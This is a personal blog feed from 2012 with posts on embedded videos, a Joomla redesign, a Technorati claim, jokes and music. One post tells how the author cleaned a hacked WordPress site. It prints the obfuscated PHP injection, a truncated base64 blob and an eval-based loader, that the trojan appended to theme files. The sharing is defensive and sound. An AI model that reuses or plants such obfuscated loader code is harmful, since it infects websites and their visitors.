The Magic of Life

A recipe for “No More War”

Merlin — Thu, 02 Feb 2012 01:04:22 +0000

Kathie, when you sent me that link in an email, I first put it aside because I though that it would be something deeply spiritual or philosophical and I wanted to have time enough to spend with it.

But, if I would have known how deep it really was, I would not have waited a minute…

Click here to view the embedded video.

A new look for Universal Serenity

Merlin — Tue, 31 Jan 2012 09:56:11 +0000

I love a good challenge.

And one of those was a few years back to build my new site Universal Serenity with Joomla. It was a whole new set of design principles and admin tool to learn but I did manage and managed to customized the template.

I learned about Joomla when it was just coming out with version 1.5 and initially many of the extensions were not available for this version, some are not tested well, and that made for a fast update cycle.

Early on I had decided that this site was to be very user interactive and so I invested into the extension JomSocial which adds facebook-like functionality to the site. Now I had to deal with two different update cycles and that turned out to take quite a bit of time.

Maybe this was one of the reasons that I did not work too much on the site to build it up to the point where I could really start to promote it. One other reason was that I had some nasty server crash – with insufficient backups – and I had to partially rebuild the site.

Reaching today – there was another big update necessary as the version 1.5 is coming to its end-of-life soon. I had skipped 1.6 but now it was time for 1.7, soon to be followed 2.5 (which was previously planned to be 1.8). This transition was more of a migration than an update as many internals had changed. But I got this handled in a day and that included scrapping the theme and starting with another, more modern, one.

I had run into a photo that I liked a lot and so that became the new face of the site. I also started now to work on blog posts within this site, and I called this part of the site Merlin’s Notes.

So far, Google does not come by enough to notice new post quickly, and one of the reasons for the post you are reading now is to change that, simply because Google appreciates MerlinSilk.com more and comes by way more often.

Let me know what you think of the new look and feel.

TV – as good as it gets – The Japanese Way

Flying off the Sears Tower

Merlin — Tue, 31 Jan 2012 09:32:54 +0000

I am curious – what makes this vantage point so exciting…

Click here to view the embedded video.

Is it the feeling that you actually fly, or is it the excitement of having cheated death?

Claiming this Blog on Technorati

Merlin — Sun, 22 Jan 2012 00:43:31 +0000

This blog, the Magic of Life – A7KF79FFCMW3 – is not my first blog, but it is by far the one with the most posts and actually has developed from the very first blog, published on the New Civilization Network as Zensory.com.

Today I noticed that I had not claimed this blog as my own on Technorati. I remedied this situation and the process of claiming a blog requires me to post a blog post that contains a code that technorati assigned to me.

The purpose of this post is to tell technorati – yes – this is my blog – and my claim token is the beautiful

A7KF79FFCMW3

Now I stand back and see how long it will take – technorati already told me that they have a backlog and it might take a while – just have no idea how many seconds, minutes, days, weeks, months, years “a while” actually is.

The Idea of Freedom is definitely not new

Merlin — Sat, 21 Jan 2012 01:43:43 +0000

I always equated Charlie Chaplin with comedy, but when I look back, the most memorable scene I remember, is a bitter-sweet scene from City Lights. In fact, beside some shorter clips on TV I did not actually see much of his work.

But after seeing his speech in The Great Dictator I have to change that. I was surprised that this movie is actually not available on Netflix.

Click here to view the embedded video.

Proof of Presidency

Merlin — Wed, 18 Jan 2012 03:19:36 +0000

The following true story is told about Mr. Obama, but I believe it applies to each and every (career-) politician out there:

President Obama walks into the Bank of America to cash a check. As he approaches the cashier he says, “Good morning Ma’am, could you please cash this check for me?”

Cashier: “It would be my pleasure sir. Could you please show me your ID?”

Obama: “Truthfully, I did not bring my ID with me as I didn’t think there was any need to. I am President Barack Obama, the president of the United States of AMERICA!!!!”

Cashier: “Yes sir, I know who you are, but with all the regulations and monitoring of the banks because of impostors and forgers and requirements of the Dodd/Frank legislation, etc., I must insist on seeing ID.”

Obama: “Just ask anyone here at the bank who I am and they will tell you. Everybody knows who I am.”

Cashier: “I am sorry Mr. President but these are the bank rules and I must follow them.”

Obama: “I am urging you, please, to cash this check.”

Cashier: “Look Mr. President this is what we can do: One day, Tiger Woods came into the bank without ID. To prove he was Tiger Woods he pulled out his putter and made a beautiful shot across the bank into a cup. With that shot we knew him to be Tiger Woods and cashed his check.”

“Another time, Andre Agassi came in without ID. He pulled out his tennis racquet and made a fabulous shot whereas the tennis ball landed in my cup. With that shot we cashed his check.”

“So, Mr. President, what can you do to prove that it is you, and only you, as the President of the United States?”

Obama stood there thinking, and thinking and finally says: “Honestly, my mind is a total blank… there is nothing that comes to my mind. I can’t think of a single thing. I have absolutely no idea what to do.”

Cashier: “Will that be large or small bills, Mr. President?”

This, Jen, is the Internet – the IT Crowd

Merlin — Sat, 14 Jan 2012 23:02:31 +0000

The first time I heard about the IT Crowd was from Cory Doctorow in one of his BoingBoing posts. Thanks to pirates I was able to watch the show despite not being in the UK, and I was instantly hooked on the show.

After a few seasons I re-visited the IT Crowd in one of my posts from 2009 but now, finally, there are some clips of it on the interweb, so that, for all of you who don’t know these master pieces of television yet, I can share some of the highlights.

Here is one of the best scenes – EVER!

Click here to view the embedded video.

Violins and hot chicks

Merlin — Fri, 13 Jan 2012 09:23:24 +0000

I reported about the violinist Vanessa Mae in the past and just have to revisit the subject now that another Youtube sensation has crossed my 32 inch monitor (yes, I am using a HD TV as my day to day monitor instead of investing in some reading glasses).

If you haven’t clicked through to the other link yet, here is what I mean when I say Vanessa Mae…

Click here to view the embedded video.

And then we have the bubbly Lindsey Stirling who combines violin play with a very unique type of dancing. I am just blown away how you can hop around so wildly and then play the violin without missing a beat…

Click here to view the embedded video.

She seems to be a real member of the new youtuber crowd, offering something really worth spending your time on and maintaining a light and fluffy communication with the fans. I like it when an artist understands that this friendly contact is way better than being aloof.

A Tojan of the name JS.Iframe.as going to osa.pl

Merlin — Tue, 10 Jan 2012 09:56:10 +0000

This is only the second time that one of my site was hacked – not bad for how long I am doing this type of stuff.

Took me a while, amongst other things, because the location of my server changed due to a data-center consolidation. So it was not quite that easy to know why things were going wrong – was it the hack or was it some configuration problem with the new IP?

But eventually all turned out fine and the site is working properly again. As I looked around the net quite a bit and did not find a good solution, I thought I share here in the hope that it might help another soul at some time.

First indication was a report from a message board having deleted a link to the site in question that it was distributing malware. I had not seen anything wrong and my anti virus stuff never told me anything, so the first reaction was to disregard it. But then suddenly I got a message from AVast that it had blocked a bad-bad URL. Now I knew something was wrong. The bad URL was a random subdomain on the top-level “osa.pl” – but a grep over the site did not bring anything about osa or .pl. Then I received another report from my VPS host that this was the JS.Iframe.as trojan.

Not much luck on the net finding info how that might look on infected web sites so that I could start trusty old grep.

Looked a lot through the database dump for clues – forgot to tell, this was a site with a wordpress blog used as CMS – no luck!

Ended up swapping out all the WP code, and updating php to 5.3.8 because some of the info I had found about the osa.pl were indicating that a vulnerability in the 5.2.17 I ran were at fault. None made a difference. I had disabled all plugins – that did not make a difference either – where else could it be?

Finally the good idea came and I should have looked there first: a diff over the theme I was using with an installation that used the same finally gave a long list of differences in a few files – mostly index.php, header.php and footer.php – the code added to the end of these files was:

VRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1Zzk
FcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2
…and so on
= “\x65\144\x6f\154\x70\170\x65″;$eva1tYldakBcVSir = “\x73\164\x72\162\x65\166″;$eva1tYldakBoVS1r = “\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160″;$eva1tYidokBoVSjr = “\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145″;$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBc
VSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBc
VSjr[0.061*0.031]));$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = “\x73\164\x72\x65\143\x72\160\164\x72″;$eva1tYlbakBcVSir = “\x67\141\x6f\133\x70\170\x65″;$eva1tYldakBoVS1r = “\x65\143\x72\160″;$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>

Removing these lines from the end of the theme filed did the job. Then I obviously changed all the file permission to not allow apache to change those files any more.

Last decree was to change the password of the owner of the site and reduce him from an admin to an editor – and tell him to scan his computer.

Now I just have to send him an email with his new password.

Hope this might help somebody sometime.

No related posts.

I must be a geek

Merlin — Sun, 08 Jan 2012 02:28:04 +0000

I love automating things, even though sometimes I have the idea that the time to create the automation seems longer than it would have taken to do it manually.

Right now I am considering to find that plugin for firefox again that allows me to automate filling a form. I know I had this before I updated my computer but I just can’t remember it any more what the name was.

Mostly I need this to fill out a non-standard form on an e-commerce site when I have to do some test purchases. When I ran into this graphic…

… I decided it’s better to do it right away instead of waiting through the initial straight line that I have in common with the non-geek.